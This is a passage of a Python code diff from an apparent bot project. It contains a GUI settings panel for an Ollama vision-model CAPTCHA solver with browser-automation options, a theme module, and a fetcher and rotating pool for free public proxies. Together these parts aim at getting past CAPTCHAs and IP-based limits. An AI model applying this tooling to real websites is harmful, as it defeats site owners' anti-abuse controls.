fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11),
width=250,
)
self.pull_entry.pack(side="left", padx=(0, 10))
self.pull_btn = CyberpunkTheme.create_neon_button(
row_m2, text="📥 PULL",
command=self._on_pull_model,
color=CyberpunkTheme.TERTIARY,
width=80, height=28,
)
self.pull_btn.pack(side="left")
# Recommended models info
row_m3 = ctk.CTkFrame(model_frame, fg_color="transparent")
row_m3.pack(fill="x", pady=(8, 0))
ctk.CTkLabel(
row_m3,
text="Recommended: deepseek-r1:8b deepseek-vl2 llava:13b minicpm-v bakllava moondream",
font=("Consolas", 10),
text_color=CyberpunkTheme.TEXT_DIM,
).pack(anchor="w")
ctk.CTkLabel(
row_m3,
text="DeepSeek pull cmds: ollama pull deepseek-r1:8b | ollama pull deepseek-vl2",
font=("Consolas", 9),
text_color=CyberpunkTheme.TEXT_DIM,
).pack(anchor="w", pady=(2, 0))
# === SECTION 3: CAPTCHA Solving Configuration ===
CyberpunkTheme.create_section_header(self.content, "> CAPTCHA SOLVING CONFIG")
captcha_frame = ctk.CTkFrame(self.content, fg_color="transparent")
captcha_frame.pack(fill="x", padx=10, pady=5)
# Prompt template
row_c1 = ctk.CTkFrame(captcha_frame, fg_color="transparent")
row_c1.pack(fill="x")
ctk.CTkLabel(
row_c1, text="Analysis Prompt:",
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY,
).pack(anchor="w")
self.prompt_text = ctk.CTkTextbox(
captcha_frame, height=80,
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11),
)
self.prompt_text.insert("1.0", (
"Look at this CAPTCHA image carefully.\n"
"1. Describe what you see\n"
"2. What is the instruction?\n"
"3. Which elements need to be clicked?\n"
"4. Provide the exact coordinates or tile positions"
))
self.prompt_text.pack(fill="x", pady=(5, 0))
# Model parameters
row_c2 = ctk.CTkFrame(captcha_frame, fg_color="transparent")
row_c2.pack(fill="x", pady=(8, 0))
ctk.CTkLabel(
row_c2, text="Temperature:",
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY,
).pack(side="left", padx=(0, 5))
self.temp_var = ctk.DoubleVar(value=0.1)
temp_slider = ctk.CTkSlider(
row_c2, from_=0.0, to=1.0, number_of_steps=20,
variable=self.temp_var,
fg_color=CyberpunkTheme.BG_DARK,
progress_color=CyberpunkTheme.PRIMARY,
button_color=CyberpunkTheme.PRIMARY,
width=150,
)
temp_slider.pack(side="left", padx=(0, 5))
self.temp_label = ctk.CTkLabel(
row_c2, text="0.1",
font=("Consolas", 11), text_color=CyberpunkTheme.PRIMARY, width=30,
)
self.temp_label.pack(side="left", padx=(0, 20))
def update_temp(val):
self.temp_label.configure(text=f"{float(val):.1f}")
temp_slider.configure(command=update_temp)
ctk.CTkLabel(
row_c2, text="Max Tokens:",
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY,
).pack(side="left", padx=(0, 5))
self.max_tokens_entry = ctk.CTkEntry(
row_c2, width=80, placeholder_text="512",
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11),
)
self.max_tokens_entry.insert(0, "512")
self.max_tokens_entry.pack(side="left")
# === SECTION 4: Browser Automation ===
CyberpunkTheme.create_section_header(self.content, "> BROWSER AUTOMATION")
browser_frame = ctk.CTkFrame(self.content, fg_color="transparent")
browser_frame.pack(fill="x", padx=10, pady=5)
row_b1 = ctk.CTkFrame(browser_frame, fg_color="transparent")
row_b1.pack(fill="x")
ctk.CTkLabel(
row_b1, text="Engine:",
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY,
).pack(side="left", padx=(0, 5))
self.browser_engine_var = ctk.StringVar(value="Playwright")
browser_menu = ctk.CTkOptionMenu(
row_b1,
values=["Playwright", "Selenium", "None (Manual)"],
variable=self.browser_engine_var,
fg_color=CyberpunkTheme.BG_DARK,
button_color=CyberpunkTheme.TERTIARY,
button_hover_color=CyberpunkTheme.PRIMARY,
text_color=CyberpunkTheme.TEXT_PRIMARY,
dropdown_fg_color=CyberpunkTheme.BG_MEDIUM,
dropdown_hover_color=CyberpunkTheme.TERTIARY,
dropdown_text_color=CyberpunkTheme.TEXT_PRIMARY,
font=("Consolas", 11),
width=180,
)
browser_menu.pack(side="left", padx=(0, 20))
ctk.CTkLabel(
row_b1, text="Headless:",
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY,
).pack(side="left", padx=(0, 5))
self.headless_var = ctk.BooleanVar(value=False)
ctk.CTkCheckBox(
row_b1, text="", variable=self.headless_var,
checkbox_width=20, checkbox_height=20,
).pack(side="left", padx=(0, 20))
ctk.CTkLabel(
row_b1, text="Viewport:",
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY,
).pack(side="left", padx=(0, 5))
self.viewport_entry = ctk.CTkEntry(
row_b1, width=120, placeholder_text="1280x720",
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11),
)
self.viewport_entry.insert(0, "1280x720")
self.viewport_entry.pack(side="left")
# Mouse behavior
row_b2 = ctk.CTkFrame(browser_frame, fg_color="transparent")
row_b2.pack(fill="x", pady=(8, 0))
ctk.CTkLabel(
row_b2, text="Mouse Delay (ms):",
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY,
).pack(side="left", padx=(0, 5))
self.mouse_delay_entry = ctk.CTkEntry(
row_b2, width=60, placeholder_text="50",
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11),
)
self.mouse_delay_entry.insert(0, "50")
self.mouse_delay_entry.pack(side="left", padx=(0, 20))
ctk.CTkLabel(
row_b2, text="Retry Limit:",
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY,
).pack(side="left", padx=(0, 5))
self.retry_entry = ctk.CTkEntry(
row_b2, width=60, placeholder_text="3",
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11),
)
self.retry_entry.insert(0, "3")
self.retry_entry.pack(side="left")
# === SECTION 5: System Status ===
CyberpunkTheme.create_section_header(self.content, "> SYSTEM STATUS")
status_frame = ctk.CTkFrame(self.content, fg_color="transparent")
status_frame.pack(fill="x", padx=10, pady=5)
self.status_text = ctk.CTkTextbox(
status_frame, height=100,
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 10),
)
self.status_text.pack(fill="x")
self.status_text.insert("1.0", "System status will appear here after connecting to Ollama...\n")
self.status_text.configure(state="disabled")
# === Bottom: Save Config ===
bottom_frame = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, height=50)
bottom_frame.pack(fill="x", side="bottom")
inner_bottom = ctk.CTkFrame(bottom_frame, fg_color="transparent")
inner_bottom.pack(fill="x", padx=15, pady=8)
self.save_btn = CyberpunkTheme.create_neon_button(
inner_bottom, text="💾 SAVE CONFIGURATION",
command=self._on_save_config,
color=CyberpunkTheme.SUCCESS,
width=220, height=36,
)
self.save_btn.pack(side="right")
self.test_model_btn = CyberpunkTheme.create_neon_button(
inner_bottom, text="🧪 TEST MODEL",
command=self._on_test_model,
color=CyberpunkTheme.PRIMARY,
width=160, height=36,
)
self.test_model_btn.pack(side="right", padx=(0, 10))
self.test_captcha_btn = CyberpunkTheme.create_neon_button(
inner_bottom, text="🔍 TEST CAPTCHA SOLVER",
command=self._on_test_captcha_solver,
color=CyberpunkTheme.TERTIARY,
width=210, height=36,
)
self.test_captcha_btn.pack(side="right", padx=(0, 10))
# Auto-connect on startup
self.after(1000, self._auto_connect)
def _auto_connect(self):
"""Auto-detect Ollama on startup."""
if self.ollama.is_running():
self._on_connect_success()
else:
self.ollama_status_label.configure(
text="● NOT FOUND", text_color=CyberpunkTheme.ERROR
)
self._log_status("Ollama server not detected at " + OLLAMA_DEFAULT_HOST)
self._log_status("Make sure Ollama is running: https://ollama.ai")
def _on_connect(self):
"""Connect to Ollama server."""
host = self.host_entry.get().strip()
if not host:
host = OLLAMA_DEFAULT_HOST
self.ollama.host = host
self.connect_btn.configure(state="disabled", text="⏳ CONNECTING...")
def worker():
if self.ollama.is_running():
self.after(0, self._on_connect_success)
else:
self.after(0, self._on_connect_failure)
thread = threading.Thread(target=worker, daemon=True)
thread.start()
def _on_connect_success(self):
"""Handle successful connection."""
self.connect_btn.configure(state="normal", text="🔗 CONNECT")
self.ollama_status_label.configure(
text="● CONNECTED", text_color=CyberpunkTheme.SUCCESS
)
self._log_status("✅ Connected to Ollama at " + self.ollama.host)
self._on_refresh_models()
def _on_connect_failure(self):
"""Handle connection failure."""
self.connect_btn.configure(state="normal", text="🔗 CONNECT")
self.ollama_status_label.configure(
text="● FAILED", text_color=CyberpunkTheme.ERROR
)
self._log_status("❌ Failed to connect to Ollama")
def _on_refresh_models(self):
"""Refresh the model list from Ollama."""
self.refresh_models_btn.configure(state="disabled", text="")
def worker():
models = self.ollama.get_model_names()
self.after(0, self._on_models_loaded, models)
thread = threading.Thread(target=worker, daemon=True)
thread.start()
def _on_models_loaded(self, models: List[str]):
"""Update UI with loaded models."""
self.refresh_models_btn.configure(state="normal", text="🔄 REFRESH")
if models:
self.model_dropdown.configure(values=models)
if not self.model_var.get() or self.model_var.get() not in models:
self.model_var.set(models[0])
self._log_status(f"📦 Found {len(models)} models: {', '.join(models[:5])}{'...' if len(models) > 5 else ''}")
else:
self.model_dropdown.configure(values=["No models found"])
self.model_var.set("No models found")
self._log_status("⚠️ No models found. Pull a vision model to get started.")
def _on_pull_model(self):
"""Pull a model from Ollama registry."""
model_name = self.pull_entry.get().strip()
if not model_name:
self._log_status("⚠️ Enter a model name to pull")
return
self.pull_btn.configure(state="disabled", text="⏳ PULLING...")
self._log_status(f"📥 Pulling model: {model_name} (this may take a while)...")
def worker():
success = self.ollama.pull_model(model_name)
self.after(0, self._on_pull_complete, model_name, success)
thread = threading.Thread(target=worker, daemon=True)
thread.start()
def _on_pull_complete(self, model_name: str, success: bool):
"""Handle pull completion."""
self.pull_btn.configure(state="normal", text="📥 PULL")
if success:
self._log_status(f"✅ Successfully pulled {model_name}")
self._on_refresh_models()
else:
self._log_status(f"❌ Failed to pull {model_name}")
def _on_test_model(self):
"""Test the selected model with a simple prompt."""
model = self.model_var.get()
if not model or model == "No models found":
self._log_status("⚠️ No model selected")
return
self.test_model_btn.configure(state="disabled", text="⏳ TESTING...")
self._log_status(f"🧪 Testing model: {model}...")
def worker():
try:
from src.captcha.captcha_solver import CaptchaSolver
solver = CaptchaSolver(
host=self.host_entry.get().strip() or OLLAMA_DEFAULT_HOST,
model=model,
timeout=60,
)
ok, response = solver.test_text_generation(
"Reply with exactly: OK - Model is working"
)
self.after(0, self._on_test_complete, response if ok else None)
except Exception as e:
logger.warning(f"Model test failed: {e}")
self.after(0, self._on_test_complete, None)
thread = threading.Thread(target=worker, daemon=True)
thread.start()
def _on_test_complete(self, response: Optional[str]):
"""Handle model test result."""
self.test_model_btn.configure(state="normal", text="🧪 TEST MODEL")
if response:
self._log_status(f"✅ Model test successful: {response[:100]}")
else:
self._log_status("❌ Model test failed — no response")
def _load_saved_config(self):
"""Pre-fill UI fields from config_ollama.json if it exists."""
try:
path = OLLAMA_CONFIG_FILE
if not path.exists():
path.write_text(
json.dumps(DEFAULT_OLLAMA_CONFIG, indent=2),
encoding="utf-8",
)
cfg = {**DEFAULT_OLLAMA_CONFIG, **json.loads(path.read_text(encoding="utf-8"))}
if cfg.get("ollama_host"):
self.host_entry.delete(0, "end")
self.host_entry.insert(0, cfg["ollama_host"])
self.ollama.host = cfg["ollama_host"]
saved_model = cfg.get("model", "")
if saved_model:
self.model_var.set(saved_model)
if cfg.get("temperature") is not None:
self.temp_var.set(float(cfg["temperature"]))
if cfg.get("max_tokens"):
self.max_tokens_entry.delete(0, "end")
self.max_tokens_entry.insert(0, str(cfg["max_tokens"]))
if cfg.get("prompt_template"):
self.prompt_text.delete("1.0", "end")
self.prompt_text.insert("1.0", cfg["prompt_template"])
if cfg.get("browser_engine"):
self.browser_engine_var.set(cfg["browser_engine"])
self.headless_var.set(bool(cfg.get("headless", False)))
if cfg.get("viewport"):
self.viewport_entry.delete(0, "end")
self.viewport_entry.insert(0, cfg["viewport"])
if cfg.get("mouse_delay_ms") is not None:
self.mouse_delay_entry.delete(0, "end")
self.mouse_delay_entry.insert(0, str(cfg["mouse_delay_ms"]))
if cfg.get("retry_limit") is not None:
self.retry_entry.delete(0, "end")
self.retry_entry.insert(0, str(cfg["retry_limit"]))
self._log_status("📂 Loaded saved configuration")
except Exception as e:
self._log_status(f"Could not load saved config: {e}")
def _on_save_config(self):
"""Save the current configuration and reload the CAPTCHA solver."""
model = self.model_var.get()
if model == "No models found":
model = ""
config = {
"ollama_host": self.host_entry.get().strip() or OLLAMA_DEFAULT_HOST,
"model": model,
"temperature": self.temp_var.get(),
"max_tokens": int(self.max_tokens_entry.get() or "512"),
"prompt_template": self.prompt_text.get("1.0", "end").strip(),
"browser_engine": self.browser_engine_var.get(),
"headless": self.headless_var.get(),
"viewport": self.viewport_entry.get().strip(),
"mouse_delay_ms": int(self.mouse_delay_entry.get() or "50"),
"retry_limit": int(self.retry_entry.get() or "3"),
}
try:
with open(OLLAMA_CONFIG_FILE, "w", encoding="utf-8") as f:
json.dump(config, f, indent=2)
self._log_status(f"💾 Configuration saved (model: {model or 'none'})")
# Reload the global captcha solver so it picks up the new model
try:
from src.captcha.captcha_solver import CaptchaSolver
_solver = CaptchaSolver()
_solver.reload_config()
except Exception:
pass
except Exception as e:
self._log_status(f"❌ Failed to save config: {e}")
def _on_test_captcha_solver(self):
"""Test the CAPTCHA solver with a blank white image."""
model = self.model_var.get()
if not model or model == "No models found":
self._log_status("⚠️ Select a model first, then SAVE CONFIGURATION")
return
self.test_captcha_btn.configure(state="disabled", text="⏳ TESTING…")
self._log_status(f"🔍 Testing CAPTCHA solver with model: {model}")
def worker():
try:
from src.captcha.captcha_solver import CaptchaSolver
from PIL import Image
from io import BytesIO
solver = CaptchaSolver(
host=self.host_entry.get().strip() or OLLAMA_DEFAULT_HOST,
model=model,
timeout=60,
)
# Create a simple test image (white 200x80 with text)
img = Image.new("RGB", (200, 80), color=(240, 240, 240))
buf = BytesIO()
img.save(buf, format="PNG")
ok, answer = solver.solve(buf.getvalue(),
prompt="This is a test. Reply with exactly: SOLVER_OK")
self.after(0, lambda o=ok, a=answer: self._on_captcha_test_done(o, a))
except Exception as e:
self.after(0, lambda: self._on_captcha_test_done(False, str(e)))
threading.Thread(target=worker, daemon=True).start()
def _on_captcha_test_done(self, ok: bool, answer: str):
self.test_captcha_btn.configure(state="normal", text="🔍 TEST CAPTCHA SOLVER")
if ok:
self._log_status(f"✅ CAPTCHA solver responded: '{answer[:80]}'")
else:
self._log_status(f"❌ CAPTCHA solver failed: {answer[:120]}")
def _log_status(self, message: str):
"""Add a message to the status log."""
from datetime import datetime
timestamp = datetime.now().strftime("%H:%M:%S")
self.status_text.configure(state="normal")
self.status_text.insert("end", f"[{timestamp}] {message}\n")
self.status_text.see("end")
self.status_text.configure(state="disabled")

265
src/gui/theme.py Normal file
View File

@@ -0,0 +1,265 @@
"""
Cyberpunk theme — colors, fonts, and reusable widget factories.
"""
import customtkinter as ctk
from config import THEME
class CyberpunkTheme:
"""Applies the cyberpunk neon theme to the entire application."""
# Color palette
BG_DARK = THEME["bg_dark"]
BG_MEDIUM = THEME["bg_medium"]
BG_LIGHT = THEME["bg_light"]
PRIMARY = THEME["primary"]
SECONDARY = THEME["secondary"]
TERTIARY = THEME["tertiary"]
TEXT_PRIMARY = THEME["text_primary"]
TEXT_SECONDARY = THEME["text_secondary"]
TEXT_DIM = THEME["text_dim"]
SUCCESS = THEME["success"]
WARNING = THEME["warning"]
ERROR = THEME["error"]
BORDER = THEME["border"]
@classmethod
def _set(cls, widget: str, **props):
"""Set theme properties only when the widget key exists in customtkinter."""
theme = ctk.ThemeManager.theme
if widget not in theme:
return
for key, value in props.items():
if key in theme[widget]:
theme[widget][key] = value
@classmethod
def apply(cls):
"""Apply the cyberpunk theme globally to customtkinter."""
ctk.set_appearance_mode("dark")
ctk.set_default_color_theme("dark-blue")
# ── Frames ──────────────────────────────────────────────
cls._set("CTkFrame",
fg_color=[cls.BG_MEDIUM, cls.BG_MEDIUM],
border_color=[cls.BORDER, cls.BORDER],
top_fg_color=[cls.BG_DARK, cls.BG_DARK])
# ── Buttons ─────────────────────────────────────────────
cls._set("CTkButton",
fg_color=[cls.TERTIARY, cls.TERTIARY],
hover_color=[cls.PRIMARY, cls.PRIMARY],
text_color=[cls.TEXT_PRIMARY, cls.TEXT_PRIMARY],
border_color=[cls.PRIMARY, cls.PRIMARY])
# ── Entries ─────────────────────────────────────────────
cls._set("CTkEntry",
fg_color=[cls.BG_DARK, cls.BG_DARK],
text_color=[cls.TEXT_PRIMARY, cls.TEXT_PRIMARY],
border_color=[cls.BORDER, cls.BORDER],
placeholder_text_color=[cls.TEXT_DIM, cls.TEXT_DIM])
# ── Labels ──────────────────────────────────────────────
cls._set("CTkLabel",
text_color=[cls.TEXT_PRIMARY, cls.TEXT_PRIMARY],
fg_color=["transparent", "transparent"])
# ── Checkboxes (customtkinter uses CTkCheckBox, not CTkCheckbox) ──
cls._set("CTkCheckBox",
fg_color=[cls.TERTIARY, cls.TERTIARY],
hover_color=[cls.PRIMARY, cls.PRIMARY],
text_color=[cls.TEXT_PRIMARY, cls.TEXT_PRIMARY],
border_color=[cls.BORDER, cls.BORDER],
checkmark_color=[cls.BG_DARK, cls.BG_DARK])
# ── Progress bars ────────────────────────────────────────
cls._set("CTkProgressBar",
fg_color=[cls.BG_DARK, cls.BG_DARK],
progress_color=[cls.PRIMARY, cls.PRIMARY],
border_color=[cls.BORDER, cls.BORDER])
# ── Sliders ──────────────────────────────────────────────
cls._set("CTkSlider",
fg_color=[cls.BG_DARK, cls.BG_DARK],
progress_color=[cls.PRIMARY, cls.PRIMARY],
button_color=[cls.PRIMARY, cls.PRIMARY],
button_hover_color=[cls.SECONDARY, cls.SECONDARY])
# ── Option menus ─────────────────────────────────────────
cls._set("CTkOptionMenu",
fg_color=[cls.BG_DARK, cls.BG_DARK],
text_color=[cls.TEXT_PRIMARY, cls.TEXT_PRIMARY],
dropdown_fg_color=[cls.BG_MEDIUM, cls.BG_MEDIUM],
dropdown_hover_color=[cls.TERTIARY, cls.TERTIARY],
dropdown_text_color=[cls.TEXT_PRIMARY, cls.TEXT_PRIMARY],
border_color=[cls.BORDER, cls.BORDER])
# ── Scrollbars ───────────────────────────────────────────
cls._set("CTkScrollbar",
fg_color=[cls.BG_DARK, cls.BG_DARK],
button_color=[cls.TERTIARY, cls.TERTIARY],
button_hover_color=[cls.PRIMARY, cls.PRIMARY])
# ── Tab bar (CTkTabview uses CTkSegmentedButton internally) ──
cls._set("CTkSegmentedButton",
fg_color=[cls.BG_DARK, cls.BG_DARK],
selected_color=[cls.TERTIARY, cls.TERTIARY],
selected_hover_color=[cls.PRIMARY, cls.PRIMARY],
unselected_color=[cls.BG_DARK, cls.BG_DARK],
unselected_hover_color=[cls.BG_LIGHT, cls.BG_LIGHT],
text_color=[cls.TEXT_PRIMARY, cls.TEXT_PRIMARY])
# ── Textboxes ────────────────────────────────────────────
cls._set("CTkTextbox",
fg_color=[cls.BG_DARK, cls.BG_DARK],
text_color=[cls.TEXT_PRIMARY, cls.TEXT_PRIMARY],
border_color=[cls.BORDER, cls.BORDER])
# ── Scrollable frames ────────────────────────────────────
cls._set("CTkScrollableFrame",
fg_color=[cls.BG_MEDIUM, cls.BG_MEDIUM],
border_color=[cls.BORDER, cls.BORDER])
# ──────────────────────────────────────────────────────────────
# Widget factories
# ──────────────────────────────────────────────────────────────
@staticmethod
def create_neon_button(parent, text, command=None, color=None, **kwargs):
"""Neon button with colored border glow."""
fg = color or CyberpunkTheme.TERTIARY
# Hover brightens toward PRIMARY cyan
hover = CyberpunkTheme.PRIMARY if fg != CyberpunkTheme.PRIMARY else CyberpunkTheme.SECONDARY
font = kwargs.pop("font", ("Consolas", 13, "bold"))
btn = ctk.CTkButton(
parent,
text=text,
command=command,
fg_color=fg,
hover_color=hover,
border_width=1,
border_color=CyberpunkTheme.PRIMARY,
text_color=CyberpunkTheme.TEXT_PRIMARY,
font=font,
corner_radius=4,
**kwargs,
)
return btn
@staticmethod
def apply_focus_glow(entry_widget):
"""Add cyan glow on focus to any CTkEntry widget."""
entry_widget.bind(
"<FocusIn>",
lambda _: entry_widget.configure(border_color=CyberpunkTheme.PRIMARY),
)
entry_widget.bind(
"<FocusOut>",
lambda _: entry_widget.configure(border_color=CyberpunkTheme.BORDER),
)
return entry_widget
@staticmethod
def create_neon_entry(parent, placeholder="", width=200, **kwargs):
"""Entry with neon border that brightens on focus."""
entry = ctk.CTkEntry(
parent,
placeholder_text=placeholder,
width=width,
fg_color=CyberpunkTheme.BG_DARK,
border_color=CyberpunkTheme.BORDER,
text_color=CyberpunkTheme.TEXT_PRIMARY,
placeholder_text_color=CyberpunkTheme.TEXT_DIM,
font=("Consolas", 12),
corner_radius=4,
**kwargs,
)
# Subtle focus glow: swap border color on focus/unfocus
entry.bind("<FocusIn>", lambda _: entry.configure(border_color=CyberpunkTheme.PRIMARY))
entry.bind("<FocusOut>", lambda _: entry.configure(border_color=CyberpunkTheme.BORDER))
return entry
@staticmethod
def create_neon_label(parent, text, font_size=12, color=None, **kwargs):
return ctk.CTkLabel(
parent,
text=text,
text_color=color or CyberpunkTheme.TEXT_PRIMARY,
font=("Consolas", font_size),
**kwargs,
)
@staticmethod
def create_section_header(parent, text):
"""
Sleek section header: full-width rule with a neon left accent and
uppercase monospace label.
"""
outer = ctk.CTkFrame(parent, fg_color="transparent", height=34)
outer.pack(fill="x", pady=(14, 4))
outer.pack_propagate(False)
# Neon left accent bar
accent = ctk.CTkFrame(outer, fg_color=CyberpunkTheme.PRIMARY, width=3, corner_radius=0)
accent.pack(side="left", fill="y", padx=(0, 10))
label = ctk.CTkLabel(
outer,
text=text.upper(),
text_color=CyberpunkTheme.PRIMARY,
font=("Consolas", 11, "bold"),
)
label.pack(side="left", anchor="center")
# Trailing dim rule that fills the rest of the width
rule = ctk.CTkFrame(outer, fg_color=CyberpunkTheme.BORDER, height=1)
rule.pack(side="left", fill="x", expand=True, padx=(10, 0), pady=(1, 0))
return outer
@staticmethod
def create_status_bar(parent):
"""
Bottom status bar: dark strip with a thin colored top-border for depth.
"""
wrapper = ctk.CTkFrame(parent, fg_color=CyberpunkTheme.BG_DARK, height=30)
wrapper.pack(side="bottom", fill="x")
wrapper.pack_propagate(False)
# Thin top accent line
top_rule = ctk.CTkFrame(wrapper, fg_color=CyberpunkTheme.BORDER, height=1)
top_rule.pack(fill="x", side="top")
# Blinking status dot + text
dot = ctk.CTkLabel(
wrapper,
text="",
text_color=CyberpunkTheme.PRIMARY,
font=("Consolas", 10),
)
dot.pack(side="left", padx=(8, 2))
status_label = ctk.CTkLabel(
wrapper,
text="SYSTEM READY",
text_color=CyberpunkTheme.TEXT_DIM,
font=("Consolas", 10),
)
status_label.pack(side="left")
# Animate the dot — alternate PRIMARY ↔ dim every 900ms
def _blink():
try:
current = dot.cget("text_color")
next_color = (
CyberpunkTheme.TEXT_DIM
if current == CyberpunkTheme.PRIMARY
else CyberpunkTheme.PRIMARY
)
dot.configure(text_color=next_color)
wrapper.after(900, _blink)
except Exception:
pass
wrapper.after(900, _blink)
return wrapper, status_label

0
src/proxy/__init__.py Normal file
View File

137
src/proxy/fetcher.py Normal file
View File

@@ -0,0 +1,137 @@
"""
Proxy fetcher — pulls free proxies from multiple reliable public sources.
No API key required. Falls back through sources until enough proxies are found.
"""
import logging
import re
from typing import Any, Dict, List
import requests
logger = logging.getLogger(__name__)
# ── Source definitions ───────────────────────────────────────────────────────
# Each entry: (label, url, format, protocol)
# format: "plain" → one ip:port per line
# "json" → JSON with a list field
_SOURCES = [
# ProxyScrape — no key, returns plain ip:port
("ProxyScrape HTTP",
"https://api.proxyscrape.com/v2/?request=getproxies&protocol=http&timeout=10000&country=all&ssl=all&anonymity=all",
"plain", "http"),
("ProxyScrape SOCKS4",
"https://api.proxyscrape.com/v2/?request=getproxies&protocol=socks4&timeout=10000&country=all",
"plain", "socks4"),
("ProxyScrape SOCKS5",
"https://api.proxyscrape.com/v2/?request=getproxies&protocol=socks5&timeout=10000&country=all",
"plain", "socks5"),
# TheSpeedX GitHub lists
("SpeedX HTTP",
"https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt",
"plain", "http"),
("SpeedX SOCKS4",
"https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks4.txt",
"plain", "socks4"),
("SpeedX SOCKS5",
"https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks5.txt",
"plain", "socks5"),
# monosans GitHub lists
("monosans HTTP",
"https://raw.githubusercontent.com/monosans/proxy-list/main/proxies/http.txt",
"plain", "http"),
("monosans SOCKS4",
"https://raw.githubusercontent.com/monosans/proxy-list/main/proxies/socks4.txt",
"plain", "socks4"),
("monosans SOCKS5",
"https://raw.githubusercontent.com/monosans/proxy-list/main/proxies/socks5.txt",
"plain", "socks5"),
# clarketm plain list
("clarketm HTTP",
"https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt",
"plain", "http"),
# GeoNode JSON API
("GeoNode",
"https://proxylist.geonode.com/api/proxy-list?limit=500&page=1&sort_by=lastChecked&sort_type=desc"
"&protocols=http%2Chttps%2Csocks4%2Csocks5&filterUpTime=50",
"geonode_json", None),
]
_IP_PORT_RE = re.compile(r"^(\d{1,3}(?:\.\d{1,3}){3}):(\d{2,5})\s*$")
class ProxyFetcher:
"""Fetches proxy lists from multiple free public sources."""
def __init__(self):
self.session = requests.Session()
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Accept": "text/plain,application/json,*/*",
})
# ── Public API ────────────────────────────────────────────────────────────
def fetch_as_strings(self, count: int = 500) -> List[str]:
"""
Fetch up to `count` proxy strings (protocol://ip:port) from all sources.
Deduplicates and returns the combined list.
"""
seen: set = set()
result: List[str] = []
for label, url, fmt, protocol in _SOURCES:
if len(result) >= count:
break
try:
proxies = self._fetch_source(label, url, fmt, protocol)
added = 0
for ps in proxies:
if ps not in seen:
seen.add(ps)
result.append(ps)
added += 1
if added:
logger.info(f"[{label}] +{added} proxies ({len(result)} total)")
except Exception as e:
logger.warning(f"[{label}] Failed: {e}")
logger.info(f"Fetched {len(result)} unique proxies from all sources")
return result[:count]
# ── Source parsers ────────────────────────────────────────────────────────
def _fetch_source(self, label: str, url: str, fmt: str, protocol: str) -> List[str]:
resp = self.session.get(url, timeout=20)
resp.raise_for_status()
if fmt == "plain":
return self._parse_plain(resp.text, protocol)
if fmt == "geonode_json":
return self._parse_geonode(resp.json())
return []
@staticmethod
def _parse_plain(text: str, protocol: str) -> List[str]:
result = []
for line in text.splitlines():
line = line.strip()
m = _IP_PORT_RE.match(line)
if m:
result.append(f"{protocol}://{m.group(1)}:{m.group(2)}")
return result
@staticmethod
def _parse_geonode(data: dict) -> List[str]:
result = []
for item in data.get("data", []):
ip = item.get("ip", "")
port = item.get("port", "")
protocols = item.get("protocols", ["http"])
proto = protocols[0] if protocols else "http"
if ip and port:
result.append(f"{proto}://{ip}:{port}")
return result

221
src/proxy/pool.py Normal file
View File

@@ -0,0 +1,221 @@
"""
Proxy pool manager — maintains a rotating queue of validated proxies.
"""
import logging
import queue
import threading
import time
from dataclasses import dataclass, field
from typing import List, Optional, Set
from src.proxy.fetcher import ProxyFetcher
from src.proxy.validator import ProxyValidator, ProxyTestResult
from config import PROXY_REFRESH_INTERVAL
logger = logging.getLogger(__name__)
@dataclass
class ProxyPool:
"""
Thread-safe proxy pool with automatic refresh.
Maintains a queue of validated proxies ready for use.
"""
min_pool_size: int = 50
max_pool_size: int = 500
refresh_interval: int = PROXY_REFRESH_INTERVAL
# Internal state
_queue: queue.Queue = field(default_factory=queue.Queue)
_all_valid: List[str] = field(default_factory=list)
_used: Set[str] = field(default_factory=set)
_queued: Set[str] = field(default_factory=set)
_lock: threading.Lock = field(default_factory=threading.Lock)
_last_refresh: float = 0
_fetcher: ProxyFetcher = field(default_factory=ProxyFetcher)
_validator: ProxyValidator = field(default_factory=ProxyValidator)
_refresh_thread: Optional[threading.Thread] = None
_running: bool = False
# Stats
total_fetched: int = 0
total_valid: int = 0
total_used: int = 0
def __post_init__(self):
self._queue = queue.Queue()
self._all_valid = []
self._used = set()
self._queued = set()
self._lock = threading.Lock()
self.load_saved_proxies()
def load_saved_proxies(self) -> int:
"""Load previously validated proxies from disk into the active pool."""
from src.utils.file_io import load_valid_proxies
proxies = load_valid_proxies()
if not proxies:
return 0
added = 0
with self._lock:
for proxy_str in proxies:
if proxy_str not in self._all_valid:
self._all_valid.append(proxy_str)
self._queue.put_nowait(proxy_str)
self._queued.add(proxy_str)
added += 1
self.total_valid = len(self._all_valid)
if added:
logger.info(f"Loaded {added} saved proxies into pool")
return added
def add_proxies(self, proxy_strings: List[str]) -> int:
"""Add validated proxy strings to the pool (deduplicated)."""
added = 0
with self._lock:
